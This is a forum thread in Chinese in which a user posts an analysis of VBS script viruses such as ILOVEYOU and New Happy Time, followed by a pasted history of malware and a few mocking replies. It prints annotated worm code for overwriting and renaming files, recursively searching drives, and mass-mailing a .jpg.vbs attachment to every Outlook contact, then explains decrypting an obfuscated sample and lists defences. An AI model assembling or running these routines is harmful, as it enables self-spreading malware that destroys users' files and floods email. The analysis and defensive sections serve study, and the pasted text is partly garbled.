网络的流行，让我们的世界变得更加美好，但它也有让人不愉快的时候。当您收到一封主题为“I Love You”的邮件，用兴奋得几乎快发抖的鼠标去点击附件的时候；当您浏览一个信任的网站之后，发现打开每个文件夹的速度非常慢的时候，您是否察 觉病毒已经闯进了您的世界呢？2000年5月4日欧美爆发的“爱虫”网络蠕虫病毒。由于通过电子邮件系统传播，爱虫病毒在短短几天内狂袭全球数百万计的电脑。微软、Intel等在内的众多大型企业网络系统瘫痪，全球经济损失达几十亿美元。而去年爆发的新欢乐时光病毒至今都让广大电脑用户更是苦不堪言。
上面提及的两个病毒最大的一个共同特点是：使用VBScript编写。以爱虫和新欢乐时光病毒为典型代表的VBS脚本病毒十分的猖獗，很重要的一个原因就是其编写简单。下面我们就来逐一对VBS脚本病毒的各个方面加以分析：
一、Vbs脚本病毒的特点及发展现状
VBS病毒是用VB Script编写而成，该脚本语言功能非常强大，它们利用Windows系统的开放性特点，通过调用一些现成的Windows对象、组件，可以直接对文件系统、注册表等进行控制，功能非常强大。应该说病毒就是一种思想，但是这种思想在用VBS实现时变得极其容易。VBS脚本病毒具有如下几个特点：
1．编写简单，一个以前对病毒一无所知的病毒爱好者可以在很短的时间里编出一个新型病毒来。
2．破坏力大。其破坏力不仅表现在对用户系统文件及性能的破坏。他还可以使邮件服务器崩溃，网络发生严重阻塞。
3．感染力强。由于脚本是直接解释执行，并且它不需要像PE病毒那样，需要做复杂的PE文件格式处理，因此这类病毒可以直接通过自我复制的方式感染其他同类文件，并且自我的异常处理变得非常容易。
4．传播范围大。这类病毒通过htm文档，Email附件或其它方式，可以在很短时间内传遍世界各地。
5．病毒源码容易被获取，变种多。由于VBS病毒解释执行，其源代码可读性非常强，即使病毒源码经过加密处理后，其源代码的获取还是比较简单。因此，这类病毒变种比较多，稍微改变一下病毒的结构，或者修改一下特征值，很多杀毒软件可能就无能为力。
6．欺骗性强。脚本病毒为了得到运行机会，往往会采用各种让用户不大注意的手段，譬如，邮件的附件名采用双后缀，如.jpg.vbs，由于系统默认不显示后缀，这样，用户看到这个文件的时候，就会认为它是一个jpg图片文件。
7．使得病毒生产机实现起来非常容易。所谓病毒生产机，就是可以按照用户的意愿，生产病毒的机器（当然，这里指的是程序），目前的病毒生产机，之所以大多数都为脚本病毒生产机，其中最重要的一点还是因为脚本是解释执行的，实现起来非常容易，具体将在我们后面谈及。
正因为以上几个特点，脚本病毒发展异常迅猛，特别是病毒生产机的出现，使得生成新型脚本病毒变得非常容易。
二、Vbs脚本病毒原理分析
1．vbs脚本病毒如何感染、搜索文件
VBS脚本病毒一般是直接通过自我复制来感染文件的，病毒中的绝大部分代码都可以直接附加在其他同类程序的中间，譬如新欢乐时光病毒可以将自己的代码附加在.htm文件的尾部，并在顶部加入一条调用病毒代码的语句，而爱虫病毒则是直接生成一个文件的副本，将病毒代码拷入其中，并以原文件名作为病毒文件名的前缀，vbs作为后缀。下面我们通过爱虫病毒的部分代码具体分析一下这类病毒的感染和搜索原理：
以下是文件感染的部分关键代码：
Set fso=createobject("scripting.filesystemobject")  '创建一个文件系统对象
set self=fso.opentextfile(wscript.scriptfullname,1) '读打开当前文件（即病毒本身）
vbscopy=self.readall　　  ' 读取病毒全部代码到字符串变量vbscopy……  
set ap=fso.opentextfile(目标文件.path,2,true) ' 写打开目标文件，准备写入病毒代码
ap.write vbscopy　　　　　　  ' 将病毒代码覆盖目标文件
ap.close
set cop=fso.getfile(目标文件.path)   '得到目标文件路径
cop.copy(目标文件.path & ".vbs")　  ' 创建另外一个病毒文件（以.vbs为后缀）
目标文件.delete(true)　　　'删除目标文件
上面描述了病毒文件是如何感染正常文件的：首先将病毒自身代码赋给字符串变量vbscopy，然后将这个字符串覆盖写到目标文件，并创建一个以目标文件名为文件名前缀、vbs为后缀的文件副本，最后删除目标文件。
下面我们具体分析一下文件搜索代码：
'该函数主要用来寻找满足条件的文件，并生成对应文件的一个病毒副本
sub scan(folder_)　　'scan函数定义，
on error resume next　　 '如果出现错误，直接跳过，防止弹出错误窗口
set folder_=fso.getfolder(folder_)
set files=folder_.files　　  ' 当前目录的所有文件集合
for each file in filesext=fso.GetExtensionName(file)　　'获取文件后缀
ext=lcase(ext)　　　  '后缀名转换成小写字母
if ext="mp5" then　　'如果后缀名是mp5，则进行感染。请自己建立相应后缀名的文件，最好是非正常后缀名 ，以免破坏正常程序。
Wscript.echo (file)
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders　　'搜索其他目录；递归调用
scan( )  
scan(subfolder)
next
end sub
上面的代码就是VBS脚本病毒进行文件搜索的代码分析。搜索部分scan( )函数做得比较短小精悍，非常巧妙，采用了一个递归的算法遍历整个分区的目录和文件。
2．vbs脚本病毒通过网络传播的几种方式及代码分析
VBS脚本病毒之所以传播范围广，主要依赖于它的网络传播功能，一般来说，VBS脚本病毒采用如下几种方式进行传播：
1）通过Email附件传播
这是一种用的非常普遍的传播方式，病毒可以通过各种方法拿到合法的Email地址，最常见的就是直接取outlook地址簿中的邮件地址，也可以通过程序在用户文档（譬如htm文件）中搜索Email地址。
下面我们具体分析一下VBS脚本病毒是如何做到这一点的：
Function mailBroadcast()
on error resume next
wscript.echo
Set outlookApp = CreateObject("Outlook.Application") //创建一个OUTLOOK应用的对象
If outlookApp= "Outlook" Then
Set mapiObj=outlookApp.GetNameSpace("MAPI")   //获取MAPI的名字空间
Set addrList= mapiObj.AddressLists　　　　　　　　//获取地址表的个数
For Each addr In addrList
If  addr.AddressEntries.Count <> 0 Then
addrEntCount = addr.AddressEntries.Count //获取每个地址表的Email记录数
For addrEntIndex= 1 To addrEntCount　　   //遍历地址表的Email地址
Set item = outlookApp.CreateItem(0)　　  //获取一个邮件对象实例
Set addrEnt = addr.AddressEntries(addrEntIndex)   //获取具体Email地址
item.To = addrEnt.Address　　　　　　　　　　 //填入收信人地址　　　　item.Subject = "病毒传播实验"　　//写入邮件标题
item.Body = "这里是病毒邮件传播测试，收到此信请不要慌张！"  //写入文件内容
Set attachMents=item.Attachments   //定义邮件附件
attachMents.Add fileSysObj.GetSpecialFolder(0) & "\test.jpg.vbs"
item.DeleteAfterSubmit = True　　  //信件提交后自动删除
If item.To <> "" Then  
item.Send　　　　　　　　　　 //发送邮件
shellObj.regwrite "HKCU\software\Mailtest\mailed", "1" //病毒标记，以免重复感染
End If
Next
End If
Next
End if
End Function

RemaQi

三、如何防范vbs脚本病毒
1．如何从样本中提取（加密）脚本病毒
对于没有加密的脚本病毒，我们可以直接从病毒样本中找出来，现在介绍一下如何从病毒样本中提取加密VBS脚本病毒，这里我们以新欢乐时光为例。
用JediEdit打开folder.htt。我们发现这个文件总共才93行，第一行<BODY onload="vbscript:KJ_start()">，几行注释后，以<html>开始，</html>节尾。相信每个人都知道这是个什么类型的文件吧！
第87行到91行，是如下语句：
87：<script language=vbscript>
88：ExeString = "Afi FkSeboa)EqiiQbtq)S^pQbtq)AadobaPfdj)>mlibL^gb`p)CPK...；后面省略，很长！
89：Execute("Dim KeyArr(3),ThisText"&vbCrLf&"KeyArr(0) = 3"&vbCrLf&"KeyArr(1) = 3"&vbCrLf&"KeyArr(2) = 3"&vbCrLf&"KeyArr(3) = 4"&vbCrLf&"For i=1 To Len(ExeString)"&vbCrLf&"TempNum = Asc(Mid(ExeString,i,1))"&vbCrLf&"If TempNum = 18 Then"&vbCrLf&"TempNum = 34"&vbCrLf&"End If"&vbCrLf&"TempChar = Chr(TempNum + KeyArr(i Mod 4))"&vbCrLf&"If TempChar = Chr(28) Then"&vbCrLf&"TempChar = vbCr"&vbCrLf&"ElseIf TempChar = Chr(29) Then"&vbCrLf&"TempChar = vbLf"&vbCrLf&"End If"&vbCrLf&"ThisText = ThisText & TempChar"&vbCrLf&"Next") 90：Execute(ThisText) 91：＜/script＞
第87和91行不用解释了，第88行是一个字符串的赋值，很明显这是被加密过的病毒代码。看看89行最后的一段代码ThisText = ThisText & TempChar，再加上下面那一行，我们肯定能够猜到ThisText里面放的是病毒解密代码（熟悉vbs的兄弟当然也可以分析一下这段解密代码，too simple!就算完全不看代码也应该可以看得出来的)。第90行是执行刚才ThisText中的那段代码（经过解密处理后的代码）。
那么，下一步该怎么做呢？很简单，我们只要在病毒代码解密之后，将ThisText的内容输出到一个文本文件就可以解决了。由于上面几行是vbscript,于是我创建了如下一个.txt文件：
首先，copy第88、89两行到刚才建立的.txt文件，当然如果你愿意看看新欢乐时光的执行效果，你也可以在最后输入第90行。然后在下面一行输入创建文件和将ThisText写入文件vbs代码，整个文件如下所示：
ExeString = "Afi...  ’ 第88行代码 Execute("Dim KeyAr... ’ 第89行代码
set fso=createobject("scripting.filesystemobject") ’ 创建一个文件系统对象
set virusfile=fso.createtextfile("resource.log",true) ’ 创建一个新文件resource.log，用以存放解密后的病毒代码 virusfile.writeline(ThisText)  ’ 将解密后的代码写入resource.log
OK！就这么简单，保存文件，将该文件后缀名.txt改为.vbs(.vbe也可以)，双击，你会发现该文件目录下多了一个文件resource.log，打开这个文件，怎么样？是不是“新欢乐时光”的源代码啊！
2．vbs脚本病毒的弱点
vbs脚本病毒由于其编写语言为脚本，因而它不会像PE文件那样方便灵活，它的运行是需要条件的（不过这种条件默认情况下就具备了）。笔者认为，VBS脚本病毒具有如下弱点：
1）绝大部分VBS脚本病毒运行的时候需要用到一个对象：FileSystemObject
2）VBScript代码是通过Windows Script Host来解释执行的。
3）VBS脚本病毒的运行需要其关联程序Wscript.exe的支持。
4）通过网页传播的病毒需要ActiveX的支持
5）通过Email传播的病毒需要OE的自动发送邮件功能支持，但是绝大部分病毒都是以Email为主要传播方式的。
3．如何预防和解除vbs脚本病毒
针对以上提到的VBS脚本病毒的弱点，笔者提出如下集中防范措施：
1）禁用文件系统对象FileSystemObject
方法：用regsvr32 scrrun.dll /u这条命令就可以禁止文件系统对象。其中regsvr32是Windows\System下的可执行文件。或者直接查找scrrun.dll文件删除或者改名。
还有一种方法就是在注册表中HKEY_CLASSES_ROOT\CLSID\下找到一个主键{0D43FE01-F093-11CF-8940-00A0C9054228}的项，咔嚓即可。
2）卸载Windows Scripting Host
在Windows 98中（NT 4.0以上同理），打开［控制面板］→［添加/删除程序］→［Windows安装程序］→［附件］，取消“Windows Scripting Host”一项。
和上面的方法一样，在注册表中HKEY_CLASSES_ROOT\CLSID\下找到一个主键{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}的项，咔嚓。
3）删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射点击［我的电脑］→［查看］→［文件夹选项］→［文件类型］，然后删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射。
4）在Windows目录中，找到WScript.exe，更改名称或者删除，如果你觉得以后有机会用到的话，最好更改名称好了，当然以后也可以重新装上。
5）要彻底防治VBS网络蠕虫病毒，还需设置一下你的浏览器。我们首先打开浏览器，单击菜单栏里“Internet 选项”安全选项卡里的［自定义级别］按钮。把“ActiveX控件及插件”的一切设为禁用，这样就不怕了。呵呵，譬如新欢乐时光的那个ActiveX组件如果不能运行，网络传播这项功能就玩完了。
6）禁止OE的自动收发邮件功能
7）由于蠕虫病毒大多利用文件扩展名作文章，所以要防范它就不要隐藏系统中已知文件类型的扩展名。Windows默认的是“隐藏已知文件类型的扩展名称”，将其修改为显示所有文件类型的扩展名称。
8）将系统的网络连接的安全级别设置至少为“中等”，它可以在一定程度上预防某些有害的Java程序或者某些ActiveX组件对计算机的侵害。
9）呵呵，最后一项不说大家也应该知道了，杀毒软件确实很必要，尽管有些杀毒软件挺让广大用户失望，不过，选择是双方的哦。在这个病毒横飞的网络，如果您的机器没有装上杀毒软件我觉得确实挺不可思议的。
四、对所有脚本类病毒发展的展望
随着网络的飞速发展，网络蠕虫病毒开始流行，而VBS脚本蠕虫则更加突出，不仅数量多，而且威力大。由于利用脚本编写病毒比较简单，除了将继续流行目前的VBS脚本病毒外，将会逐渐出现更多的其它脚本类病毒，譬如PHP，JS，Perl病毒等。
但是脚本并不是真正病毒技术爱好者编写病毒的最佳工具，并且脚本病毒解除起来比较容易、相对容易防范。笔者认为，脚本病毒仍将继续流行，但是能够具有像爱虫、新欢乐时光那样大影响的脚本蠕虫病毒只是少数。

RemaQi

（八）简介概述计算机病毒的演变历史
简介
虽然许多组织已经部署了防病毒软件，但是新的病毒、蠕虫和其他形式的恶意软件仍在继续快速地感染大量的计算机系统。关于这个显而易见的矛盾产生的根源，不是几句话就可以解释清楚的；但是根据Microsoft 从系统已被感染的公司内的 IT 专业人员和安全人员的反馈来看，基本趋势非常明显，这些反馈信息中包括如下评论：
&#8226; "用户执行其电子邮件的附件，尽管我们一再告诉他们不应该……"
&#8226; "防病毒软件本应可以捕获此病毒，但是此病毒的签名尚未安装。"
&#8226; "本来根本不会攻破防火墙，我们甚至都没有意识到这些端口会被攻击。"
&#8226; "我们不知道我们的服务器需要安装修补程序。"
最近攻击的成功表明，在组织的每台计算机上部署防病毒软件的标准方法可能不足以应对恶意软件。最近病毒爆发的传播速度令人担忧，软件行业检测、识别和传送可保护系统免受攻击的防病毒工具的速度无法跟上病毒的传播速度。最新形式的恶意软件所表现的技术也更加先进，使得最近的病毒爆发可以躲避检测而进行传播。这些技术包括：
&#8226; 社会工程。许多攻击试图看上去好像来自系统管理员或官方服务，这样就增加了最终用户执行它们从而感染系统的可能性。
&#8226; 后门创建。最近大部分的病毒爆发都试图对已感染系统打开某种形式的未经授权访问，这样
黑客可以反复访问这些系统。反复访问用于在协调的拒绝服务攻击中将系统用作"僵尸进程"，然后使用新的恶意软件感染这些系统，或者用于运行黑客希望运行的任何代码。
&#8226; 电子邮件窃取。恶意软件程序使用从受感染系统中获取的电子邮件地址，将其自身转发到其他受害者，并且恶意软件编写者也可能会收集这些地址。然后，恶意软件编写者可以使用这些地址发送新的恶意软件变形体，通过它们与其他恶意软件编写者交换工具或病毒源代码，或者将它们发送给希望使用这些地址制造垃圾邮件的其他人。
&#8226; 嵌入的电子邮件引擎。电子邮件是恶意软件传播的主要方式。现在，许多形式的恶意软件都嵌入电子邮件引擎，以使恶意代码能更快地传播，并减少创建容易被检测出的异常活动的可能性。非法的大量邮件程序现在利用感染系统的后门，以便利用这些机会来使用此类电子邮件引擎。由此可以相信，去年制造的大部分垃圾邮件都是通过这种受感染系统发送的。
&#8226; 利用产品漏洞。恶意软件更经常利用产品漏洞进行传播，这可使恶意代码传播得更快。
&#8226; 利用新的 Internet 技术。当新的 Internet 工具面世之后，恶意软件编写者会快速检查这些工具，以确定如何利用它们。目前，即时消息传递和对等 (P2P) 网络在这种作用力下已经成为攻击媒介。
计算机病毒的演变
20 世纪 80 年代早期出现了第一批计算机病毒。这些早期的尝试大部分是试验性的，并且是相对简单的自行复制的文件，它们仅在执行时显示简单的恶作剧而已。
注意： 值得注意的是，提供病毒演变的明确历史几乎是不可能的。恶意软件的非法本质意味着，作恶者关注的是如何隐藏恶意代码的来源。本指南介绍病毒研究人员和防病毒行业普遍认可的恶意软件历史。
1986 年，报道了攻击 Microsoft? MS-DOS? 个人计算机的第一批病毒；人们普遍认为 Brain 病毒是这些计算机病毒中的第一种病毒。然而，1986 年出现的其他首批病毒还包括 Virdem（第一个文件病毒）和 PC-Write（第一个特洛伊木马病毒，此程序看上去有用或无害，但却包含了旨在利用或损坏运行该程序的系统的隐藏代码。）在 PC-Write 中，特洛伊木马程序伪装成一个同名的流行共享软件：字处理器应用程序。
随着更多的人开始研究病毒技术，病毒的数量、被攻击的平台数以及病毒的复杂性和多样性都开始显著提高。病毒在某一时期曾经着眼于感染启动扇区，然后又开始感染可执行文件。1988 年出现了第一个 Internet 蠕虫病毒（一种使用自行传播恶意代码的恶意软件，它可以通过网络连接，自动将其自身从一台计算机分发到另一台计算机）。Morris Worm 导致 Internet 的通信速度大大地降低。为了应对这种情况以及病毒爆发次数的不断增长，出现了 CERT Coordination Center（网址：
[url=http://www.cert.org/]），通过协调对病毒爆发和事件的响应来确保 Internet 的稳定性。
1990 年，网上出现了病毒交流布告栏，成为病毒编写者合作和共享知识的平台。此外，还出版了第一本关于病毒编写的书籍，并且开发出了第一个多态病毒（通常称为 Chameleon 或 Casper）。多态病毒是一种恶意软件，它使用不限数量的加密例程以防止被检测出来。多态病毒具有在每次复制时都可以更改其自身的能力，这使得用于"识别"病毒的基于签名的防病毒软件程序很难检测出这种病毒。此后不久，即出现了 Tequila 病毒，这是出现的第一个比较严重的多态病毒攻击。接着在 1992 年，出现了第一个多态病毒引擎和病毒编写工具包。
自那时起，病毒就变得越来越复杂：病毒开始访问电子邮件通讯簿，并将 其自身发送到联系人；宏病毒将其自身附加到各种办公类型的应用程序文件并攻击这些文件；此外还出现了专门利用操作系统和应用程序漏洞的病毒。电子邮件、对等 (P2P) 文件共享网络、网站、共享驱动器和产品漏洞都为病毒复制和攻击提供了平台。在已感染系统上创建的后门（由恶意软件引入的秘密或隐藏的网络入口点）使得病毒编写者（或黑客）可以返回和运行他们所选择的任何软件。本指南上下文中的黑客是试图非法访问计算机系统或网络的程序员和计算机用户。本章的下一部分将详细讨论恶意软件。
有些病毒附带其自身的嵌入式电子邮件引擎，可以使已感染的系统直接通过电子邮件传播病毒，而绕过此用户的电子邮件客户端或服务器中的任何设置。病毒编写者还开始认真地设计病毒攻击的结构并使用社会工程，来开发具有可信外观的电子邮件。这种方法旨在获取用户的信任，使其打开附加的病毒文件，来显著地增加大规模感染的可能性。
恶意软件演变的同时，防病毒软件也处在不断的发展之中。但是，当前大多数防病毒软件几乎完全依赖于病毒签名或恶意软件的识别特性来识别潜在有害的代码。从一个病毒的初始版本到此病毒的签名文件被防病毒供应商广泛分发之间，仍然存在存活机会。因此，现

mcps

新一代水王？

TMAC

QUOTE:

Originally posted by mcps at 2005-8-22 20:51:
新一代水王？

真够水的 而且水的没有技术含量

duoduo.l

呵呵～笑笑走人～